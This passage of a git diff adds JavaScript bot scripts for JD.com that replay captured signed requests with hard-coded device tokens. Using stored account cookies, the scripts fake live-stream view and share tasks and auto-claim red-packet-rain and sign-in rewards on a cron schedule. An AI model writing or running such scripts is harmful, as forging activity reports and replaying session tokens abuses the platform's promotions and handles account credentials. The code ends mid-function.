+ let body = 'body=%7B%22liveId%22%3A%223019486%22%2C%22type%22%3A%22viewTask%22%2C%22authorId%22%3A%22681523%22%2C%22extra%22%3A%7B%22time%22%3A200%7D%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone10%2C2&eid=eidIF3CF0112RTIyQTVGQTEtRDVCQy00Qg%3D%3D6HAJa9%2B/4Vedgo62xKQRoAb47%2Bpyu1EQs/6971aUvk0BQAsZLyQAYeid%2BPgbJ9BQoY1RFtkLCLP5OMqU&isBackground=N&joycious=194&lang=zh_CN&networkType=wifi&networklibtype=JDNetworkBaseAF&openudid=53f4d9c70c1c81f1c8769d2fe2fef0190a3f60d2&osVersion=14.2&partner=apple&rfs=0000&scope=01&screen=1242%2A2208&sign=68c0d87a5de62711bab9e6e796c08170&st=1607778652966&sv=100&uts=0f31TVRjBSsySvX9aqk89gHBMqz5E28EYCqc3cRu/4%2Bv0EzRuStHwMI1R5P9RqeizLow/pAquaX1v5IJQGVxUzSfExCFmfO0L7BEMvXnkeCZhKEsmSkbQm54W7ig8aRsmHiXp7YT/SOV7sEKxXauv59O/SAAFkr1egGgKev7Uj81nJRFDnNRSomlrOj2jQzH6iddCTSpydcSYRnDyDcodA%3D%3D&uuid=hjudwgohxzVu96krv/T6Hg%3D%3D'
+ return new Promise(resolve => {
+ $.post(taskPostUrl("liveChannelReportDataV912", body), async (err, resp, data) => {
+ try {
+ if (err) {
+ console.log(`${JSON.stringify(err)}`)
+ console.log(`${$.name} API请求失败,请检查网路重试`)
+ } else {
+ if (safeGet(data)) {
+ data = JSON.parse(data);
+ }
+ }
+ } catch (e) {
+ $.logErr(e, resp)
+ } finally {
+ resolve(data);
+ }
+ })
+ })
+}
+function viewTask() {
+ let body = 'body=%7B%22liveId%22%3A%223008300%22%2C%22type%22%3A%22viewTask%22%2C%22authorId%22%3A%22644894%22%2C%22extra%22%3A%7B%22time%22%3A120%7D%7D&build=167408&client=apple&clientVersion=9.2.0&eid=eidIF3CF0112RTIyQTVGQTEtRDVCQy00Qg%3D%3D6HAJa9%2B/4Vedgo62xKQRoAb47%2Bpyu1EQs/6971aUvk0BQAsZLyQAYeid%2BPgbJ9BQoY1RFtkLCLP5OMqU&isBackground=N&joycious=194&openudid=53f4d9c70c1c81f1c8769d2fe2fef0190a3f60d2&osVersion=14.2&partner=TF&rfs=0000&scope=01&sign=90e14adc21c4bf31232a1ded5f4ba40e&st=1607561111999&sv=111&uts=0f31TVRjBSsxGLJHVBkddxFxBqY/8qFkrfEYLL0gkhB/JVGyEYIoD8r5rLvootZziQYAUyvIPogdJpesEuOMmvlisDx6AR2SEsfp381xPoggwvq8XaMYlOnHUV66TZiSfC%2BSgcLpB2v9cy/0Z41tT%2BuLheoEwBwDDYzANkZjncUI9PDCWpCg5/i0A14XfnsUTfQHbMqa3vwsY6QtsbNsgA%3D%3D&uuid=hjudwgohxzVu96krv/T6Hg%3D%3D'
+ return new Promise(resolve => {
+ $.post(taskPostUrl("liveChannelReportDataV912", body), async (err, resp, data) => {
+ try {
+ if (err) {
+ console.log(`${JSON.stringify(err)}`)
+ console.log(`${$.name} API请求失败,请检查网路重试`)
+ } else {
+ if (safeGet(data)) {
+ data = JSON.parse(data);
+ }
+ }
+ } catch (e) {
+ $.logErr(e, resp)
+ } finally {
+ resolve(data);
+ }
+ })
+ })
+}
+function shareTask() {
+ let body = 'body=%7B%22liveId%22%3A%222995233%22%2C%22type%22%3A%22shareTask%22%2C%22authorId%22%3A%22682780%22%2C%22extra%22%3A%7B%22num%22%3A1%7D%7D&build=167408&client=apple&clientVersion=9.2.0&eid=eidIF3CF0112RTIyQTVGQTEtRDVCQy00Qg%3D%3D6HAJa9%2B/4Vedgo62xKQRoAb47%2Bpyu1EQs/6971aUvk0BQAsZLyQAYeid%2BPgbJ9BQoY1RFtkLCLP5OMqU&isBackground=Y&joycious=194&lang=zh_CN&networkType=wifi&networklibtype=JDNetworkBaseAF&openudid=53f4d9c70c1c81f1c8769d2fe2fef0190a3f60d2&osVersion=14.2&partner=TF&rfs=0000&scope=01&screen=1242%2A2208&sign=457d557a0902f43cbdf9fb735d2bcd64&st=1607559819969&sv=110&uts=0f31TVRjBSsxGLJHVBkddxFxBqY/8qFkrfEYLL0gkhB/JVGyEYIoD8r5rLvootZziQYAUyvIPogdJpesEuOMmvlisDx6AR2SEsfp381xPoggwvq8XaMYlOnHUV66TZiSfC%2BSgcLpB2v9cy/0Z41tT%2BuLheoEwBwDDYzANkZjncUI9PDCWpCg5/i0A14XfnsUTfQHbMqa3vwsY6QtsbNsgA%3D%3D&uuid=hjudwgohxzVu96krv/T6Hg%3D%3D'
+ return new Promise(resolve => {
+ $.post(taskPostUrl("liveChannelReportDataV912", body), async (err, resp, data) => {
+ try {
+ if (err) {
+ console.log(`${JSON.stringify(err)}`)
+ console.log(`${$.name} API请求失败,请检查网路重试`)
+ } else {
+ if (safeGet(data)) {
+ data = JSON.parse(data);
+ }
+ }
+ } catch (e) {
+ $.logErr(e, resp)
+ } finally {
+ resolve(data);
+ }
+ })
+ })
+}
+
+function awardTask(type="shareTask") {
+ let body = `functionId=getChannelTaskRewardToM&appid=h5-live&body=%7B%22type%22%3A%22${type}%22%2C%22liveId%22%3A%222942545%22%7D&v=${getTs()}`
+ return new Promise(resolve => {
+ $.post(taskPostUrl(null, body,"https://api.m.jd.com/api"), async (err, resp, data) => {
+ try {
+ if (err) {
+ console.log(`${JSON.stringify(err)}`)
+ console.log(`${$.name} API请求失败,请检查网路重试`)
+ } else {
+ if (safeGet(data)) {
+ data = JSON.parse(data);
+ if (data.subCode === "0") {
+ $.bean += data.sum
+ console.log(`任务领奖成功,获得 ${data.sum} 京豆`);
+ message += `任务领奖成功,获得 ${data.sum} 京豆\n`
+ } else {
+ console.log(`任务领奖失败,${data.msg}`)
+ }
+ }
+ }
+ } catch (e) {
+ $.logErr(e, resp)
+ } finally {
+ resolve(data);
+ }
+ })
+ })
+}
+function sign() {
+ return new Promise(resolve => {
+ $.get(taskUrl("getChannelTaskRewardToM", {"type":"signTask","itemId":"1"}), async (err, resp, data) => {
+ try {
+ if (err) {
+ console.log(`${JSON.stringify(err)}`)
+ console.log(`${$.name} API请求失败,请检查网路重试`)
+ } else {
+ if (safeGet(data)) {
+ data = JSON.parse(data);
+ if (data.subCode === "0") {
+ $.bean += data.sum
+ console.log(`签到领奖成功,获得 ${data.sum} 京豆`);
+ message += `任务领奖成功,获得 ${data.sum} 京豆\n`
+ } else {
+ console.log(`任务领奖失败,${data.msg}`)
+ }
+ }
+ }
+ } catch (e) {
+ $.logErr(e, resp)
+ } finally {
+ resolve(data);
+ }
+ })
+ })
+}
+function taskPostUrl(function_id, body = {}, url=null) {
+ if(!url) url = `${JD_API_HOST}?functionId=${function_id}`
+ return {
+ url: url,
+ body: body,
+ headers: {
+ "Cookie": cookie,
+ "origin": "https://h5.m.jd.com",
+ "referer": "https://h5.m.jd.com/",
+ 'Content-Type': 'application/x-www-form-urlencoded',
+ "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"),
+ }
+ }
+}
+function taskUrl(function_id, body = {}) {
+ return {
+ url: `${JD_API_HOST}?functionId=${function_id}&appid=h5-live&body=${escape(JSON.stringify(body))}&v=${new Date().getTime() + new Date().getTimezoneOffset()*60*1000 + 8*60*60*1000}`,
+ headers: {
+ "Cookie": cookie,
+ "origin": "https://h5.m.jd.com",
+ "referer": "https://h5.m.jd.com/",
+ 'Content-Type': 'application/x-www-form-urlencoded',
+ "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"),
+ }
+ }
+}
+
+function TotalBean() {
+ return new Promise(async resolve => {
+ const options = {
+ "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`,
+ "headers": {
+ "Accept": "application/json,text/plain, */*",
+ "Content-Type": "application/x-www-form-urlencoded",
+ "Accept-Encoding": "gzip, deflate, br",
+ "Accept-Language": "zh-cn",
+ "Connection": "keep-alive",
+ "Cookie": cookie,
+ "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2",
+ "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1")
+ }
+ }
+ $.post(options, (err, resp, data) => {
+ try {
+ if (err) {
+ console.log(`${JSON.stringify(err)}`)
+ console.log(`${$.name} API请求失败,请检查网路重试`)
+ } else {
+ if (data) {
+ data = JSON.parse(data);
+ if (data['retcode'] === 13) {
+ $.isLogin = false; //cookie过期
+ return
+ }
+ if (data['retcode'] === 0) {
+ $.nickName = (data['base'] && data['base'].nickname) || $.UserName;
+ } else {
+ $.nickName = $.UserName
+ }
+ } else {
+ console.log(`京东服务器返回空数据`)
+ }
+ }
+ } catch (e) {
+ $.logErr(e, resp)
+ } finally {
+ resolve();
+ }
+ })
+ })
+}
+function safeGet(data) {
+ try {
+ if (typeof JSON.parse(data) == "object") {
+ return true;
+ }
+ } catch (e) {
+ console.log(e);
+ console.log(`京东服务器访问数据为空,请检查自身设备网络情况`);
+ return false;
+ }
+}
+function jsonParse(str) {
+ if (typeof str == "string") {
+ try {
+ return JSON.parse(str);
+ } catch (e) {
+ console.log(e);
+ $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie')
+ return [];
+ }
+ }
+}
+// prettier-ignore
+function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)}
diff --git a/Task/jd_live_redrain.js b/Task/jd_live_redrain.js
new file mode 100644
index 0000000..48bed7a
--- /dev/null
+++ b/Task/jd_live_redrain.js
@@ -0,0 +1,400 @@
+/*
+超级直播间红包雨
+更新时间:2021-06-4
+下一场超级直播间时间:06月11日 18:00,直播间地址:https://h5.m.jd.com/dev/3pbY8ZuCx4ML99uttZKLHC2QcAMn/live.html?id=4334560
+下一场超级直播间时间:06月10日 18:00,直播间地址:https://h5.m.jd.com/dev/3pbY8ZuCx4ML99uttZKLHC2QcAMn/live.html?id=4334536
+下一场超级直播间时间:06月09日 18:00,直播间地址:https://h5.m.jd.com/dev/3pbY8ZuCx4ML99uttZKLHC2QcAMn/live.html?id=4334513
+下一场超级直播间时间:06月08日 18:00,直播间地址:https://h5.m.jd.com/dev/3pbY8ZuCx4ML99uttZKLHC2QcAMn/live.html?id=4272306
+下一场超级直播间时间:06月06日 18:00,直播间地址:https://h5.m.jd.com/dev/3pbY8ZuCx4ML99uttZKLHC2QcAMn/live.html?id=4334496
+下一场超级直播间时间:06月05日 18:00,直播间地址:https://h5.m.jd.com/dev/3pbY8ZuCx4ML99uttZKLHC2QcAMn/live.html?id=4313541
+下一场超级直播间时间:06月04日 18:00,直播间地址:https://h5.m.jd.com/dev/3pbY8ZuCx4ML99uttZKLHC2QcAMn/live.html?id=4228810
+脚本兼容: Quantumult X, Surge, Loon, JSBox, Node.js
+==============Quantumult X==============
+[task_local]
+#超级直播间红包雨
+0,30 0-23/1 * * * jd_live_redrain.js, tag=超级直播间红包雨, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true
+
+==============Loon==============
+[Script]
+cron "0,30 0-23/1 * * *" script-path=jd_live_redrain.js,tag=超级直播间红包雨
+
+================Surge===============
+超级直播间红包雨 = type=cron,cronexp="0,30 0-23/1 * * *",wake-system=1,timeout=3600,script-path=jd_live_redrain.js
+
+===============小火箭==========
+超级直播间红包雨 = type=cron,script-path=jd_live_redrain.js, cronexpr="0,30 0-23/1 * * *", timeout=3600, enable=true
+*/
+const $ = new Env('超级直播间红包雨');
+let allMessage = '', id = 'RRA2cUocg5uYEyuKpWNdh4qE4NW1bN2';
+let bodyList = {
+ "4": {
+ "url": "https://api.m.jd.com/client.action?functionId=liveActivityV946&uuid=8888888&client=apple&clientVersion=9.4.1&st=1622787088046&sign=835678723e60414a533d2586769a2633&sv=100",
+ "body": "body=%7B%22liveId%22%3A%224228810%22%7D"
+ },
+ "5": {
+ "url": "https://api.m.jd.com/client.action?functionId=liveActivityV946&uuid=8888888&client=apple&clientVersion=9.4.1&st=1622787086031&sign=7eea743cf1ca5db443042c182595cb51&sv=122",
+ "body": "body=%7B%22liveId%22%3A%224313541%22%7D"
+ },
+ "6": {
+ "url": "https://api.m.jd.com/client.action?functionId=liveActivityV946&uuid=8888888&client=apple&clientVersion=9.4.1&st=1622787084017&sign=95253384b3b3662b2ab88ee94d6abcc7&sv=122",
+ "body": "body=%7B%22liveId%22%3A%224334496%22%7D"
+ },
+ "8": {
+ "url": "https://api.m.jd.com/client.action?functionId=liveActivityV946&uuid=8888888&client=apple&clientVersion=9.4.1&st=1622787080081&sign=76fc5c3b2c8f5c514c9c702ba3a7af5d&sv=100",
+ "body": "body=%7B%22liveId%22%3A%224272306%22%7D"
+ },
+ "9": {
+ "url": "https://api.m.jd.com/client.action?functionId=liveActivityV946&uuid=8888888&client=apple&clientVersion=9.4.1&st=1622787077047&sign=6323b82d53a8a1dad5c98a405e64bc2b&sv=112",
+ "body": "body=%7B%22liveId%22%3A%224334513%22%7D"
+ },
+ "10": {
+ "url": "https://api.m.jd.com/client.action?functionId=liveActivityV946&uuid=8888888&client=apple&clientVersion=9.4.1&st=1622787074008&sign=11694f560e1dee217ee1ecd04d49d25f&sv=100",
+ "body": "body=%7B%22liveId%22%3A%224334536%22%7D"
+ },
+ "11": {
+ "url": "https://api.m.jd.com/client.action?functionId=liveActivityV946&uuid=8888888&client=apple&clientVersion=9.4.1&st=1622787073021&sign=32d1acdd573017244637a8c616cd3b47&sv=102",
+ "body": "body=%7B%22liveId%22%3A%224334560%22%7D"
+ }
+}
+let ids = {}
+for (let i = 0; i < 24; i++) {
+ ids[i] = id;
+}
+const notify = $.isNode() ? require('./sendNotify') : '';
+//Node.js用户请在jdCookie.js处填写京东ck;
+const jdCookieNode = $.isNode() ? require('./jdCookie.js') : '';
+//IOS等用户直接用NobyDa的jd cookie
+let cookiesArr = [], cookie = '', message;
+if ($.isNode()) {
+ Object.keys(jdCookieNode).forEach((item) => {
+ cookiesArr.push(jdCookieNode[item])
+ })
+ if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {};
+ if (JSON.stringify(process.env).indexOf('GITHUB') > -1) process.exit(0)
+} else {
+ cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item);
+}
+const JD_API_HOST = 'https://api.m.jd.com/api';
+!(async () => {
+ if (!cookiesArr[0]) {
+ $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', {"open-url": "https://bean.m.jd.com/"});
+ return;
+ }
+ console.log('下一场超级直播间时间:06月11日 18:00,直播间地址:https://h5.m.jd.com/dev/3pbY8ZuCx4ML99uttZKLHC2QcAMn/live.html?id=4334560\n' +
+ '下一场超级直播间时间:06月10日 18:00,直播间地址:https://h5.m.jd.com/dev/3pbY8ZuCx4ML99uttZKLHC2QcAMn/live.html?id=4334536\n' +
+ '下一场超级直播间时间:06月09日 18:00,直播间地址:https://h5.m.jd.com/dev/3pbY8ZuCx4ML99uttZKLHC2QcAMn/live.html?id=4334513\n' +
+ '下一场超级直播间时间:06月08日 18:00,直播间地址:https://h5.m.jd.com/dev/3pbY8ZuCx4ML99uttZKLHC2QcAMn/live.html?id=4272306\n' +
+ '下一场超级直播间时间:06月06日 18:00,直播间地址:https://h5.m.jd.com/dev/3pbY8ZuCx4ML99uttZKLHC2QcAMn/live.html?id=4334496\n' +
+ '下一场超级直播间时间:06月05日 18:00,直播间地址:https://h5.m.jd.com/dev/3pbY8ZuCx4ML99uttZKLHC2QcAMn/live.html?id=4313541\n' +
+ '下一场超级直播间时间:06月04日 18:00,直播间地址:https://h5.m.jd.com/dev/3pbY8ZuCx4ML99uttZKLHC2QcAMn/live.html?id=4228810')
+ $.newAcids = [];
+ await getRedRain();
+
+ let nowTs = new Date().getTime()
+ if (!($.st <= nowTs && nowTs < $.ed)) {
+ $.log(`\n远程红包雨配置获取错误,尝试从本地读取配置`);
+ $.http.get({url: `https://purge.jsdelivr.net/gh/gitupdate/updateTeam@master/redrain.json`}).then((resp) => {}).catch((e) => $.log('刷新CDN异常', e));
+ let hour = (new Date().getUTCHours() + 8) % 24;
+ let redIds = await getRedRainIds();
+ if (!redIds) redIds = await getRedRainIds('https://cdn.jsdelivr.net/gh/gitupdate/updateTeam@master/redrain.json');
+ $.newAcids = [...(redIds || [])];
+ if ($.newAcids && $.newAcids.length) {
+ $.log(`本地红包雨配置获取成功,ID为:${JSON.stringify($.newAcids)}\n`)
+ } else {
+ $.log(`无法从本地读取配置,请检查运行时间(注:非红包雨时间执行出现此提示请忽略!!!!!!!!!!!)`)
+ return
+ }
+ // if (ids[hour]) {
+ // $.activityId = ids[hour]
+ // $.log(`本地红包雨配置获取成功,ID为:${$.activityId}\n`)
+ // } else {
+ // $.log(`无法从本地读取配置,请检查运行时间(注:非红包雨时间执行出现此提示请忽略!!!!!!!!!!!)`)
+ // $.log(`非红包雨期间出现上面提示请忽略。红包雨期间会正常,此脚本提issue打死!!!!!!!!!!!)`)
+ // return
+ // }
+ } else {
+ $.log(`远程红包雨配置获取成功`)
+ }
+ for (let id of $.newAcids) {
+ // $.activityId = id;
+ if (!id) continue;
+ console.log(`\n今日${new Date().getHours()}点ID:${id
+ }\n`);
+ for (let i = 0; i < cookiesArr.length; i++) {
+ if (cookiesArr[i]) {
+ cookie = cookiesArr[i];
+ $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1])
+ $.index = i + 1;
+ $.isLogin = true;
+ $.nickName = '';
+ message = '';
+ await TotalBean();
+ console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`);
+ if (!$.isLogin) {
+ $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/`, {"open-url": "https://bean.m.jd.com/"});
+ if ($.isNode()) {
+ await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`);
+ }
+ continue
+ }
+ let nowTs = new Date().getTime() + new Date().getTimezoneOffset() * 60 * 1000 + 8 * 60 * 60 * 1000
+ // console.log(nowTs, $.startTime, $.endTime)
+ // await showMsg();
+ if (id) await receiveRedRain(id);
+ }
+ }
+ }
+ if (allMessage) {
+ if ($.isNode()) await notify.sendNotify(`${$.name}`, `${allMessage}`);
+ $.msg($.name, '', allMessage);
+ }
+})()
+ .catch((e) => {
+ $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '')
+ })
+ .finally(() => {
+ $.done();
+ })
+
+function showMsg() {
+ return new Promise(resolve => {
+ $.msg($.name, '', `【京东账号${$.index}】${$.nickName}\n${message}`);
+ resolve()
+ })
+}
+
+function getRedRain() {
+ let body
+ if (bodyList.hasOwnProperty(new Date().getDate())) {
+ body = bodyList[new Date().getDate()]
+ } else {
+ return
+ }
+ return new Promise(resolve => {
+ $.post(taskGetUrl(body.url, body.body), (err, resp, data) => {
+ try {
+ if (err) {
+ console.log(`${JSON.stringify(err)}`)
+ console.log(`${$.name} API请求失败,请检查网路重试`)
+ } else {
+ if (safeGet(data)) {
+ data = JSON.parse(data);
+ if (data.data && data.data.iconArea) {
+ // console.log(data.data.iconArea.filter(vo => vo['type'] === 'anchor_darw_lottery').length && data.data.iconArea.filter(vo => vo['type'] === 'anchor_darw_lottery')[0].data.lotteryId)
+ let act = data.data.iconArea.filter(vo => vo['type'] === "platform_red_packege_rain")[0]
+ if (act) {
+ let url = act.data.activityUrl
+ $.activityId = url.substr(url.indexOf("id=") + 3);
+ $.newAcids.push($.activityId);
+ $.st = act.startTime
+ $.ed = act.endTime
+ console.log($.activityId)
+
+ console.log(`下一场红包雨开始时间:${new Date($.st)}`)
+ console.log(`下一场红包雨结束时间:${new Date($.ed)}`)
+ } else {
+ console.log(`\n暂无超级直播间红包雨`)
+ }
+ } else {
+ console.log(`\n暂无超级直播间红包雨`)
+ }
+ }
+ }
+ } catch (e) {
+ $.logErr(e, resp)
+ } finally {
+ resolve();
+ }
+ })
+ })
+}
+
+function receiveRedRain(actId) {
+ return new Promise(resolve => {
+ const body = { actId };
+ $.get(taskUrl('noahRedRainLottery', body), (err, resp, data) => {
+ try {
+ if (err) {
